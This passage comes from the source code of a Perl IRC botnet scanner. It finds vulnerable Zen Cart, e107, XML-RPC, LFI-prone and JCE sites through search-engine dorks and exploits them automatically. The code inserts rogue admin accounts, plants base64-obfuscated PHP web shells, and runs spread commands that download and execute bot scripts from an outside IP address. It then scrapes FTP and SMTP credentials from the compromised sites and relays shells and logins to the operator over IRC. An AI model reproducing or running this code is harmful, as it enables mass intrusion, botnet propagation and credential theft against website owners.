  753. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  754. if ($html =~ /zc_install/){
  755. &zen_query($chan,$site,$test,$engine);
  756. }
  757. } exit; }
  758. }
  759. }
  760. }
  761.  
  762. sub zen_query() {
  763. my $chan = $_[0];
  764. my $url = $_[1];
  765. my $test = $_[2];
  766. my $engine = $_[3];
  767. my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
  768. my $req = HTTP::Request->new(POST => $test);
  769. $req->content_type("application/x-www-form-urlencoded");
  770. $req->content("query_string=".$code);
  771. my $ua = LWP::UserAgent->new(agent => $uagent);
  772. $ua->timeout(3);
  773. my $res = $ua->request($req);
  774. my $data = $res->as_string;
  775. if ( $data =~ /1 statements processed/i ) {
  776. &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  777. &msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  778. }
  779. elsif ( $data =~ /Duplicate entry/i ) {
  780. &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
  781. &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
  782. }
  783. }
  784.  
  785. sub e107_exploit() {
  786. my $chan = $_[0];
  787. my $bug = $_[1];
  788. my $nick = $_[2];
  789. my $dork = $_[3];
  790. my $engine = $_[4];
  791. my $count = 0;
  792. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  793. my $num = scalar(@totexploit);
  794. if ($num > 0){
  795. foreach my $site(@totexploit){
  796. $count++;
  797. if ($count == $num-1) { &msg("$chan","$e107logo15$engine 9Finished 15for 9$dork "); }
  798. my $test = "http://".$site.$bug;
  799. my $shellz = "http://".$site."/images/lobex.php";
  800. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  801. my $html = &e107_rce_query($test,$code);
  802. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  803. if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  804. my $sys = $1;
  805. my $upload = "";
  806. my $res = &e107_rce_query($test);
  807. if ($res =~ /lobexxx/) {
  808. my $check = &get_content($shellz);
  809. if ($check =~ /UnKnown - Simple Shell/) {
  810. &msg("$nick","$e107logo15$engine 4<9=4>9 SheLL 4<9=4>9 $shellz ");sleep(2);
  811. }
  812. } else { &msg("$chan","$e107logo15$engine 4<9=4>15 System 4<9=4>9 $test 15($sys) ");sleep(2); }
  813. }
  814. } exit; }
  815. }
  816. }
  817. }
  818.  
  819. sub e107_rce_query() {
  820. my $url = $_[0];
  821. my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2ltYWdlcy9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOwo=";
  822. my $req = HTTP::Request->new(POST => $url);
  823. $req->content_type('application/x-www-form-urlencoded');
  824. $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  825. my $ua = LWP::UserAgent->new(agent => $uagent);
  826. $ua->timeout(7);
  827. my $res = $ua->request($req);
  828. return $res->content;
  829. }
  830.  
  831. sub e107_spread_query() {
  832. my $url = $_[0];
  833. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3O2NkIC90bXA7cm0gLXJmIGRvci4qICoudHh0Lio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveG1sLnR4dDtwZXJsIHhtbC50eHQ7Y2QgL3Zhci90bXA7cm0gLXJmIGRvci4qICouanBnLio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveHBsLnR4dDtwZXJsIHhwbC50eHQ7IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOw0KZnVuY3Rpb24gZXgoJGNmZSl7DQokcmVzID0gJyc7DQppZiAoIWVtcHR5KCRjZmUpKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCkBleGVjKCRjZmUsJHJlcyk7DQokcmVzID0gam9pbigiXG4iLCRyZXMpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCkBvYl9zdGFydCgpOw0KQHN5c3RlbSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXsNCkBvYl9zdGFydCgpOw0KQHBhc3N0aHJ1KCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpew0KJGYgPSBAcG9wZW4oJGNmZSwiciIpOw0Kd2hpbGUoIUBmZW9mKCRjZmUpKSB7ICRyZXMgLj0gQGZyZWFkKCRjZmUsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  834. my $req = HTTP::Request->new(POST => $url);
  835. $req->content_type('application/x-www-form-urlencoded');
  836. $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  837. my $ua = LWP::UserAgent->new(agent => $uagent);
  838. $ua->timeout(7);
  839. my $res = $ua->request($req);
  840. }
  841. sub lfi_exploit() {
  842. my $chan = $_[0];
  843. my $bug = $_[1];
  844. my $nick = $_[2];
  845. my $dork = $_[3];
  846. my $engine = $_[4];
  847. my $count = 0;
  848. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  849. my $num = scalar(@totexploit);
  850. if ($num > 0){
  851. foreach my $site(@totexploit){
  852. $count++;
  853. if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Finished 15for 9$dork "); }
  854. my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
  855. my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  856. my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
  857. my $html = &get_content($test);
  858. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  859. if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  860. my $res = lfi_env_query($test);
  861. # &lfi_spread_query($test);
  862. if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
  863. my $os = $1;
  864. my $uid = $2;
  865. my $lficheck = &get_content($shell);
  866. if ($lficheck =~ /UnKnown - Simple Shell/){
  867. &msg("$nick","$lfilogo15$engine 4<9=4>9 SheLL 4<9=4>9 $shell 15(OS=$os) $uid ");
  868. &msg("$admin","$lfilogo15$engine 4<9=4>9 SheLL 4<9=4>9 $shell 15(OS=$os) $uid ");
  869. } else {
  870. &msg("$chan","$lfilogo15$engine 4<9=4>9 Vuln 4<9=4>9 $site 15(OS=$os) $uid ");
  871. }
  872. }
  873. }
  874. } exit; }
  875. }
  876. }
  877. }
  878. sub lfi_env_query() {
  879. my $url = $_[0];
  880. my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2gyQldScEtURWxkeUUwUWZvQ3lHWHNWaktMUGJaenhuRkd4SC92dlROcFZaYUYwbmZ6RXVmZVpyL09uTGxCOTNDNUtHcHFGRWFLRnlKRk9wYmFlaC92N2pBcEN4bFdTUlpGWmpGcUQ5SElkTVRkNDFjeDdiYWlNQWpEd2ZEeTJwbkduK003NTdiZC91RnVhcWRvenhYWFZrUUpXbnhsQ0U2dEpadkNJd2FNL2dwVDEvUjhQTDZLem9maG1ONmltNHZQVys1RThPY2tDTWZSY1RTd2dIYVJyZ0JPNHpRbXEwdk1DVkd3VVpNYmdha3huaUpaeFRPV0g2WU1vSis0NE5FY3VtZlFHT1ZTeXB4by8zaGdtenkwRkZncXlmVUswb2NuZEU1bk1ld0hrR0JyYVZPUEg0R0ZXYkZLUTVjQU1xV1pMSm4wb2VLaVEyMjZFbVRPM1BWUmp2Mk9RZnI5RWRCSHo4enVaeUVoeVZoT28rQnZPQTQyZ3ZLWWRDNjFzOE9oeEJJaVA4M1I2aVZTUWZjSk5WblJmVzBlSzU2UlgvRkxiMDRXVFpkVW5VSERGYkRXakdZakJrb2tjZktlYmlQMUZEZUNnR2hEbHdGbTB5czFuVDg3OXZxVW44aHRobXYzenJERWRHRWpuZCtDOGJXVGNZVmdLQnRIalNvcW1iQmFIVGpoNlhWak5ZN09CbjhFbHljWGdYQzBrREtsT2ZHZlEvM2g2ZVFpdUJ4VW8rRmo3Tnh0dExNc0Q3aFZzZ3FnK0t4clhuUE1BNW1qVnlTek5OdHQrOFFtZWRzQnZxT0VqdDRrb1NNcklRQWxpNExRcnVZNmNMMkorRjBVV0U0T1ZYVnRKK0dDY2t5M2NMMDRVZzJmRldQSkZQK2IrVCtScE1qZ3RINzhZRDY5N3JSVXZXaGFqMms3UnJCV0U5d0NjRWZCYnZ2VXBSNk1HSUVCYTlIRzZMWTkybjU0alFrRXdCQVZRbjJUS1YvQkkzRkxsL0FvbVQ4NTUxODdOOXR0UmowOFBDaFY4VGlqeWh4eWV6dk5yQktKaGtoVHlpVVVJNml0Y1puYWU1YWd5U3F4U1BsWFdFd1d5bEwvdnROa2pCQ05lQTk5R1JQRzFUNXJqdzdKWnlVRlRvc0g0T1p4SHpic1UrVzEvVnNsWVdIK1dBMUF2MXlrTG9TVU9VQ1p6RmFPZUFTWXZzSzlWMi9EZ1VKMjcyaFBRb3M4ajFMYUVOamxvcXcwMGF1UytVZXpMNW9TNU5pblZwN1NlbUpMV21iKzVMZHNLTG1QczhyOHZnTjhCenZyT2NmYm5USTRJSk1pcnpMTldHdmhHTnhPR3V1NDZid1pCNmY1bHhFbWNrbkVLVG5qR1ROd1p4RDllWm9GUWtZbTZtR1Y3WDBMTUlQNDJvM2F4SiswcnZuQmMzdTFpMWkyTk5GVWNiT0pqZnpJcG8xKy8xaGRWTEFsUGtPU2NiRkZ2bzYzQW5tVHRZOUI5WnBiTy9BV3ZSdXJGUm03YVhsanMxd3JFNUZsM1BMbDB4M1llSmsrbXBpNkhRaHRNQTZ6akdUN2h0ZEJVSWxtQ3pnRE1qck1pM3NXMmV3c2pSRGdmak5SNTNKeHcyRGpycnZ4V1ptNm1lK1NDcWUxZTZSRUJid2RUSXA3NFpIWVVsbTIvRzZWSlBEWGgzVXdiRituZytWbzFDZjBtRHlhMi9hTTVFMzBEY3RqVkF4eXRUTkN6UnVyWG5pbGNac0srcmxFMEtINXdMSkp1T01qOW9VbExuTXlXODJLcUlPeFovTVZXUDVVUlNkRzVDQ0xuUmNTZit6OUF3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcvdG1wL2xvYmV4JywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTsK';
  881. my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
  882. $ua->timeout(7);
  883. my $req = HTTP::Request->new(GET => $url);
  884. my $res = $ua->request($req);
  885. return $res->content;
  886. }
  887.  
  888. sub xml_exploit() {
  889. my $chan = $_[0];
  890. my $bug = $_[1];
  891. my $nick = $_[2];
  892. my $dork = $_[3];
  893. my $engine = $_[4];
  894. my $count = 0;
  895. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  896. my $num = scalar(@totexploit);
  897. if ($num > 0){
  898. foreach my $site(@totexploit){
  899. $count++;
  900. if ($count == $num-1) { &msg("$chan","$xmllogo15$engine 9Finished 15for 9$dork "); }
  901. my $test = "http://".$site.$bug;
  902. my $vuln = "http://".$site."12".$bug;
  903. my $html = &get_content($test);
  904. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  905. if ($html =~ /faultcode/i ) {
  906. my $resp = &xml_cek_query2($test);
  907. if ($resp =~ /Byroe(.*)Lobex/s) {
  908. # &xml_spread_query($test);sleep(1);
  909. my $sys = $1;
  910. my $shell = "http://".$site."/lobex.php";
  911. my $check = &get_content($shell);
  912. if ($check =~ /UnKnown - Simple Shell/) {
  913. my $safe = ""; my $os = ""; my $uid = "";
  914. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  915. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  916. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  917. &msg("$nick","$xmllogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  918. &msg("$admin","$xmllogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  919. }
  920. # else {
  921. # &msg("$chan","0,1$xmllogo(4@8$engine15)15(13@12SysTem15)10 ".$vuln." 3".$sys); sleep(1);}
  922. }
  923. }
  924. } exit;
  925. }
  926. }
  927. }
  928. }
  929.  
  930. sub xml_cek_query() {
  931. my $url = $_[0];
  932. my $code = "system('uname -a');";
  933. my $ua = LWP::UserAgent->new(agent => 'perl post');
  934. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  935. $exploit .= "<methodName>test.method</methodName>";
  936. $exploit .= "<params><param><value><name>',''));";
  937. $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  938. $ua->timeout(7);
  939. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  940. return $res->content;
  941. }
  942.  
  943. sub xml_cek_query2() {
  944. my $url = $_[0];
  945. my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2xvYmV4LnBocCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7Cg==";
  946. my $ua = LWP::UserAgent->new(agent => 'perl post');
  947. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  948. $exploit .= "<methodName>test.method</methodName>";
  949. $exploit .= "<params><param><value><name>',''));";
  950. $exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
  951. $ua->timeout(7);
  952. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  953. return $res->content;
  954. }
  955.  
  956. sub xml_spread_query() {
  957. my $xmltargt = $_[0];
  958. my $xmlsprd = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
  959. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  960. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  961. $exploit .= "<methodName>test.method</methodName>";
  962. $exploit .= "<params><param><value><name>',''));";
  963. $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  964. $userAgent->timeout(7);
  965. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  966. }
  967.  
  968. sub jce_exploit() {
  969. my $chan = $_[0];
  970. my $bug = $_[1];
  971. my $nick = $_[2];
  972. my $dork = $_[3];
  973. my $engine = $_[4];
  974. my $count = 0;
  975. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo);
  976. my $num = scalar(@totexploit);
  977. if ($num > 0){
  978. foreach my $site(@totexploit){
  979. $count++;
  980. my $shell = "http://".$site."images/stories/food.php";
  981. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  982. my $status = &jce_upload($site);&jce_upload($site);
  983. if ($status = 1) {
  984. my $check = &get_content($shell."?rf");
  985. if ($check =~ /UnKnown - Simple Shell/) {
  986. &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+alb.txt%3Brm+alb.txt");
  987. my $safe = ""; my $os = ""; my $uid = "";
  988. my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
  989. my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
  990. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  991. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  992. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  993. if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
  994. if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
  995. if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
  996. if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
  997. if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  998. if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  999. if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  1000. if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
  1001. &msg("$chan","$jcelogo15$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1002. if ($nick eq $admin) {
  1003. &msg("$admin","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1004. } else {
  1005. &msg("$nick","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1006. &msg("$admin","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1007. }
  1008. if ($smtpauth =~ /1/) {
  1009. &msg("$chan","15,1 [8SMTP15] Found on 8http://$site ");
  1010. &msg("$admin","15,1 [8SMTP15] [ 8host : ".$smtphost." 15] [ 8login : ".$smtpuser." 15] [ 8pass : ".$smtppass." 15]");
  1011. }
